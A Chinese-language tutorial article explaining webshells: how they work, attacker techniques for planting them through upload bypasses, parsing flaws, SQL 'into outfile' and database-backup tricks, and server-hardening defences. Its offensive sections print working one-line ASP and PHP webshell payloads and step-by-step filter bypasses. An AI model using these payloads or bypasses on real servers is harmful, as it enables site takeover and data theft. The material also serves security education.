tft每日頭條

 > 生活

 > webshell幹什麼用

webshell幹什麼用

生活 更新时间:2024-09-06 05:19:08

最近在我的黑客攻防視頻教程裡多次提到了"webshell"這個名詞,很多朋友就私信問我"webshell" 究竟是什麼啊?為什麼很多黑客技術資料裡都有提及它?

今天我們就以本篇文章内容給大家詳細介紹一下"webshell技術“!

一、 什麼是webshell

1、簡介

webshell,顧名思義:"web" - 顯然需要服務器開放,"shell" - 取得對服務器某種程度上操作權限。webshell就是就是web的一個管理工具,可以對web服務器進行操作的權限,也叫webadmin。

webshell是以asp、php、jsp等網頁文件形式存在的一種命令執行環境,也稱其為一種網頁後門。一般說來,當Hacker入侵一個網站後,會把這些asp、php木馬的後門文件放在該網站的web目錄中,和正常的網頁文件混雜,其命名可能和正常的文件命名很類似,讓人無法第一眼通過文件名判斷其為後門文件。然後呢,他就可以利用web請求的方式,用asp或者php木馬後門控制網站服務器,包括上傳下載文件、查看數據庫、執行任意程序命令等一系列操作。

webshell幹什麼用(黑客常提到的webshell究竟是什麼)1

2、基本分類

webshell幹什麼用(黑客常提到的webshell究竟是什麼)2

webshell根據腳本可以分為PHP腳本木馬,ASP腳本木馬,也有基于.NET的腳本木馬和JSP腳本木馬。

根據功能分為大馬與小馬,小馬通常指的一句話木馬,例如:<%eval request("pass")%>通常把這句話寫入一個文檔裡面,然後文件名改成xx.asp。然後傳到服務器上面。這裡eval方法将request("pass")轉換成代碼執行,request函數的作用是應用外部文件。這相當于一句話木馬的客戶端配置。服務器配置(即本機配置):

webshell幹什麼用(黑客常提到的webshell究竟是什麼)3

這裡通過提交表單的方式,将木馬提交上去,具體的做法是将定義一個對象IP,然後以文本方式寫入newvalue裡面的内容(newvalue的内容在textarea定義),寫入以覆蓋的方式産生ASP文件,然後執行這個腳本。其中客戶端中的value代表的是表單的名字,必須跟服務端(本機)的post提交中的表單名一樣,所以這裡的value可以為任意字符,相當于一個密碼之類的東西,但是這個'密碼'是明文的,可以截取下來。PHP的一句話原理跟以上的原理差不多,就是語言的差别導緻語法不同。這就是小馬的基本工作原理。

大馬的工作模式簡單的多,他沒有客戶端與服務端的區别,就是一些腳本大牛直接把一句話木馬的服務端整合到了一起,通過上傳漏洞将大馬上傳,然後複制該大馬的url地址直接訪問,在頁面上執行對web服務器的滲透工作。但是有些網站對上傳文件做了嚴格的限制,因為大馬的功能較多,所以體積相對較大,很有可能超出了網站上傳限制,但是小馬的體積可以控制(比如把代碼複制很多遍,或者在一個亂碼文件中夾入代碼),但是小馬操作起來比較繁瑣,可以先上傳小馬拿到webshell,然後通過小馬的連接上傳大馬拿到服務器。

3、基本原理

可執行腳本

a.HTTP數據包($_GET、$_POST、$_COOKIES、$_SERVER[args]等)

數據傳遞

執行傳遞的數據

a.直接執行(eval、system、passthru等)

b.文件包含執行(include、require等)

c.動态函數執行($a="phpinfo";$a();)

d.Curly Syntax執行(${'ls'})

e.preg_replace(第一個參數存在'/e')

f.ob_start函數

g.回調函數(array_map等)

h.反序列化(unserialize等)

二、 webshell常見獲取方式

1、上傳漏洞獲取WebShell

首先說我們最常見的,已經講過的上傳漏洞,通過上傳一句話木馬等,獲得服務器的執行權利。

文件上傳漏洞主要有以下幾種情況:

· MIME類型繞過漏洞

· 文件擴展名繞過漏洞

· 文件内容檢測繞過類上傳漏洞

· 空字節截斷目錄路徑檢測繞過類上傳漏洞

· 我們可以将Request包的Content-type修改,就可以成功繞過了服務端MIME類型檢測,像這種服務端檢測http包的Content-type都可以用這種類似方法來繞過

檢測解析導緻的文件上傳漏洞:

· IIS6.0站上的目錄路徑檢測解析繞過上傳漏洞

· apache站上的解析缺陷繞過上傳漏洞

· htaccess文件上傳解析漏洞

這其中的技術點主要是使用Bp修改一些請求的參數,包括使用00截斷操作文件名,更改類型,當然還有二進制連接等手段。

還有一些編輯器存在漏洞導緻的文件上傳,比如FCK編輯器。

2、sql注入獲取webshell

一直以來,都以為sql注入都是用來暴露和查詢關鍵信息的,其實對于數據庫操作來說,SQL注入攻擊可以獲取WebShell其實就是在向服務器寫文件。(注意:這裡我們需要得到網站的絕對路徑)所有常用的關系數據庫管理系統(RDBMS)均包含内置的向服務器文件系統寫文件的功能。

MySQL:

select into outfile(dumpfile) //MySQL寫文件命令

# 例如:

select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";

webshell幹什麼用(黑客常提到的webshell究竟是什麼)4

webshell幹什麼用(黑客常提到的webshell究竟是什麼)5

那麼其它關系數據庫管理系統同樣的原理寫文件,就不在過多介紹了。

3、數據庫備份獲取WebShell

對于這個方法,我遇見過得就是拿到管理員賬号和密碼之後是可以登錄後台的,雖然存在上傳的地方,但是隻能是jpg圖像,這個時候必須還得将它改成.asp後綴。這裡可以用到網站中的數據庫備份漏洞。在後台的"系統管理"中提供了"數據庫備份"功能,我們可以将上傳上去的圖片文件作為要備份的數據庫,然後利用可以指定備份文件名的漏洞,把備份後的文件改名成.asp後綴。具體操作如下圖所示。

webshell幹什麼用(黑客常提到的webshell究竟是什麼)6

成功備份之後,記下已更名的webshell文件的路徑\wwwroot\admin\.\admin\webshell.asp。

這裡就成功地将webshell上傳到了網站,輸入URL:我們就可以訪問這個網頁了,由于他這個是個大馬所以可以這樣,我們一般的一句話木馬沒有任何内容,一般是使用中國菜刀進行連接。

webshell幹什麼用(黑客常提到的webshell究竟是什麼)7

4、CMS獲取WebShell

什麼是CMS?

CMS是Content Management System的縮寫,意為"内容管理系統"。 内容管理系統是企業信息化建設和電子政務的新寵,也是一個相對較新的市場。對于内容管理,業界還沒有一個統一的定義,不同的機構有不同的理解。

常見的CMS有哪些?

asp平台:動易CMS、創力CMS、科汛CMS、新雲CMS;

php平台:phpcms、織夢CMS、帝國CMS、php168 CMS;

ASP.NET平台:Zoomla!逐浪CMS、動易CMS、風訊CMS、We7 CMS;

CMS獲取WebShell方法

公開漏洞途徑:以PHPCMS為例:

我們可以利用搜索引擎來查找互聯網上公開的通用漏洞,如果目标站點并沒有進行修複,即可輕松獲取WebShell。

webshell幹什麼用(黑客常提到的webshell究竟是什麼)8

代碼審計途徑:

有很多CMS其實是開源的,我們可以在官網下載到源碼,然後進行代碼審計,自己挖掘漏洞, 來獲取WebShell。

三、如何上傳webshell

1、解析漏洞上傳

現在對于不同的web服務器系統對應的有不同的web服務端程序,windows端主流的有iis,linux端主流的有nginx。這些服務對搭建web服務器提供了很大的幫助,同樣也對服務器帶來隐患,這些服務器上都存在一些漏洞,很容易被黑客利用。

(1)iis目錄解析漏洞

比如:/xx.asp/xx.jpg

雖然上傳的是JPG文件,但是如果該文件在xx.asp文件夾下,那個iis會把這個圖片文件當成xx.asp解析,這個漏洞存在于iis5.x/6.0版本。

(2)文件解析漏洞

比如:xx.asp;.jpg。在網頁上傳的時候識别的是jpg文件,但是上傳之後iis不會解析;之後的字符,同樣會把該文件解析成asp文件,這個漏洞存在于iis5.x/6.0版本。

(3)文件名解析

比如:xx.cer/xx.cdx/xx.asa。在iis6.0下,cer文件,cdx文件,asa文件都會被當成可執行文件,裡面的asp代碼也同樣會執行。(其中asa文件是asp特有的配置文件,cer為證書文件)。

(4)fast-CGI解析漏洞

在web服務器開啟fast-CGI的時候,上傳圖片xx.jpg。内容為:

1 <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>

這裡使用的fput創建一個shell.php文件,并寫入一句話。訪問路徑xx.jpg/.php,就會在該路徑下生成一個一句話木馬shell.php。這個漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。語言環境:PHP,prel,Bourne Shell,C等語言。

*注:fast-CGI是CGI的升級版,CGI指的是在服務器上提供人機交互的接口,fast-CGI是一種常駐型的CGI。因為CGI每次執行時候,都需要用fork啟用一個進程,但是fast-CGI屬于激活後就一直執行,不需要每次請求都fork一個進程。比普通的CGI占的内存少。

(5)apache解析漏洞

apache解析的方式是從右向左解析,如果不能解析成功,就會想左移動一個,但是後台上傳通常是看上傳文件的最右的一個後綴,所以根據這個,可以将馬命名為xx.php.rar,因為apache解析不了rar,所以将其解析為php,但是後台上傳點就将其解析為rar,這樣就繞過了上傳文件後綴限制

2、截斷上傳

在上傳圖片的時候,比如命名1.asp .jpg(asp後面有個空格),在上傳的時候,用NC或者抓到表單,将上傳名asp後面加上(在burpsuite裡面可以直接編輯HEX值,空格的HEX值為20,将20改為00),如果HEX為00的時候表示截斷,20表示空格,如果表示截斷的時候就為無視腳本中的JPG驗證語句,直接上傳ASP。

3、後台數據庫備份

在一些企業的後台管理系統中,裡面有一項功能是備份數據庫(比如南方cms裡面就有備份數據庫的功能)。可以上傳一張圖片,圖片裡面含有一句話木馬,或者将大馬改成jpg格式,然後用數據庫備份功能,将這張圖片備份為asp等其他内容可以被解析為腳本語句的格式,然後再通過web訪問就可以執行木馬了,但是這種方法很老了,現在大多數的cms已經把這種備份的功能取消了,或者禁用了。

4、利用數據庫語句上傳

(1) mysql數據庫into outfile

這種方式的前提必須是該網站有相應的注入點,而且當前用戶必須要有上傳的權限,而且必須有當前網頁在服務器下的絕對路徑。方法是用聯合查詢,将一句話木馬導入到網站下邊的一個php文件中去,然後使用服務端連接該網站。但是上述方法條件過于苛刻,一般遇到的情況很少。

(2)建立新表寫入木馬

一些開源cms或者自制的webshell會有數據庫管理功能,在數據庫管理功能裡面有sql查詢功能,先使用create table shell(codetext);創建一個名字叫做shell的表,表裡面有列明叫做code,類型為text。然後使用insert into shell(code) values('一句話馬'),這裡講shell表中的code列賦值為一句話的馬,然後通過自定義備份,将該表備份為x.php;x然後就被解析成為php然後執行了,這裡不是x.php;x就一定能夠解析為php,不同的web服務器上面的服務程序不同,然後過濾規則也不同,可能會使用其他的方式。

(3)phpMyadmin設置錯誤

phpMyadmin用來管理網站數據庫的一個工具,其中config.inc.php為其配置文件,在查看的該文件的時候,如果$cfg['Servers'][$i]['auth_type']參數的值設置沒有設置(默認為config)說明在登陸數據庫的時候沒有做相應的驗證,可以直接連入數據庫,而且在Mysql在一些版本下面默認登陸都是以root用戶進行登陸(即管理員),所以登陸進去為最大權限。但是root一般隻能本地登陸,所以必須創建一個遠程登陸用戶。用遠程登陸用戶登陸之後,創建一個表,然後再将一句話木馬寫入。

四、webshell的防範措施

了解了webshell的基本原理之後,最關鍵的防止器植入asp、php、jsp等木馬程序文件,使用webshell一般不會在系統日志中 留下記錄,隻會在網站的web日志中留下一些數據提交記錄,沒有經驗的管理員是很難看出入侵痕迹的。我們一般可以從以下幾方面對安全性進行處理:

1、Web軟件開發的安全

A、程序中存在文件上載的,攻擊者利用漏洞上載木馬程序文件。

B、防sql注入、防暴庫、防COOKIES欺騙、防跨站腳本攻擊。

2、服務器的安全和web服務器的安全

A、服務器做好各項安全設置,病毒和木馬檢測軟件的安裝(注:webshell的木馬程序不能被該類軟件檢測到),啟動防火牆并關閉不需要的端口和服務。

B、提升web服務器的安全設置

C、對以下命令進行權限控制(以windows為例):

cmd.exe net.exe net1.exe ping.exe netstat.exe ftp.exe tftp.exe telnet.exe

3、ftp文件上載安全

設置好ftp服務器,防止攻擊者直接使用ftp上傳木馬程序文件到web程序的目錄中

4、文件系統的存儲權限

設置好web程序目錄及系統其它目錄的權限,相關目錄的寫權限隻賦予給超級用戶,部分目錄寫權限賦予給系統用戶。

将web應用和上傳的任何文件(包括)分開,保持web應用的純淨,而文件的讀取可以采用分靜态文件解析服務器和web服務器兩種服務器分 别讀取(Apache/Nginx加tomcat等web服務器),或者圖片的讀取,有程序直接讀文件,以流的形式返回到客戶端。

5、不要使用超級用戶運行web服務

對于apache、tomcat等web服務器,安裝後要以系統用戶或指定權限的用戶運行,如果系統中被植入了asp、php、等木馬程序文件,以超級用戶身份運行,webshell提權後獲得超級用戶的權限進而控制整個和計算機。

6、利用安全工具進行檢測

D盾:

webshell幹什麼用(黑客常提到的webshell究竟是什麼)9

,

更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!

查看全部

相关生活资讯推荐

热门生活资讯推荐

网友关注

Copyright 2023-2024 - www.tftnews.com All Rights Reserved